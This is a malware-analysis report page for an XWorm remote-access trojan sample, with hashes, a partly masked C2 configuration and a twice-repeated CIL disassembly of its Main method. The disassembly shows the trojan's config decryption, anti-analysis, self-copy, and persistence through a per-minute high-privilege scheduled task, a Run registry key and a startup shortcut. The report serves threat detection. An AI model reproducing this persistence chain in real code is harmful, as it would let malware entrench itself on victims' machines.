Malicious
Malicious

3284137a71bb9285ff6eb1ae74014a9a

PE Executable
MD5: 3284137a71bb9285ff6eb1ae74014a9a
Size: 42.5 KB
application/x-dosexec
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File
Type
Portable Executable file
Size
42.5 KB · 42,496 B
First seen
2026-02-14 09:30 · 8 months ago
Last seen
2026-02-14 09:30 · 8 months ago
Last analysis
2026-02-14 09:30 · 8 months ago
Hashes
MD5 3284137a71bb9285ff6eb1ae74014a9a Sha1 1639d6e445b6ce1e83c837889ec79c07be14b066 Sha256 b8e11214feed627b08e9f8c4c8fcae51a21d71d49f3c89a120276d7aabaa1bec Sha384 9865234e3e7adf15408e0b8084d49e20da6696206ea80258ee9b2ce924b08e320f4d035bce7c9cb279e7e101452789f9 Sha512 efc24e65228eaae377f6e56c4e5e5ce4a7a7990dd82ef09fa1c556ba7913738b31d48938824b270cf02d77093fc3837b007c94c92bfe1161cad71d0db940bf6c SSDeep 768:GbsRtmbHIZRqF4k8womL1clrF5Pr9p5496iOwhr3/Oq:GbsQIZMmvBJpFp9T496iOwdh TLSH CF134A057B918625E5FDABB419B266030731E6039E23D79E0CE896DB1B67BC0CE407D7
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Low
1 malicious · 3 files
EXE3284137a71bb9285ff6eb1ae74014a9aXWorm
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
Config. Field Value
Mutex nFzZ3huhuhuhuhuhuhu
Hosts odayrihuhuhuhuhuhuhuhuhuhuhu
Port 3huhuhuhu
KEY <6huhuhuhu
USBNM <XWhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
242
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
318
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Group
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Group
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::InstallStr
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_0135: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_014C: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0177: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0177: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01DD: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0221: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
call My.MyComputer My.MyProject::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_027D: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_027D: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_15
stloc.s V_16
ldloc.s V_16
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0302: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_18
ldloc.s V_12
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_03AD: ldnull
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
242
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
318
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Port
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::SPL
ldsfld System.String Settings::Group
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::Group
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::USBNM
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String Settings::InstallDir
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String Settings::InstallStr
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex()
call System.Boolean Stub.Helper::CreateMutex()
brtrue.s IL_00D8: call System.Void Stub.Main::RunAntiAnalysis()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00EE: call System.Void Stub.Main::Exclusion()
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_0135: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_014C: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.Helper::current
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0177: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0177: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01DD: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0221: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0242: call My.MyComputer My.MyProject::get_Computer()
call My.MyComputer My.MyProject::get_Computer()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_027D: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_027D: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_15
stloc.s V_16
ldloc.s V_16
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0302: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_18
ldloc.s V_12
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.Helper::fileStream
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0381: call System.Void Stub.Helper::PreventSleep()
call System.Void Stub.Helper::PreventSleep()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_03AD: ldnull
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Mutex MUTEXmalicious
nFzZ3huhuhuhuhuhuhu
CnC CNCmalicious
odayrihuhuhuhuhuhuhuhuhuhuhu
Port PORTmalicious
3huhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
1 malicious · 3 files
EXE3284137a71bb9285ff6eb1ae74014a9aXWorm
Structure
Config. Field Value
Mutex nFzZ3huhuhuhuhuhuhu
Hosts odayrihuhuhuhuhuhuhuhuhuhuhu
Port 3huhuhuhu
KEY <6huhuhuhu
USBNM <XWhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Mutex MUTEXmalicious
nFzZ3huhuhuhuhuhuhu
3284137a71bb9285ff6eb1ae74014a9a
CnC CNCmalicious
odayrihuhuhuhuhuhuhuhuhuhuhu
3284137a71bb9285ff6eb1ae74014a9a
Port PORTmalicious
3huhuhuhu
3284137a71bb9285ff6eb1ae74014a9a
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
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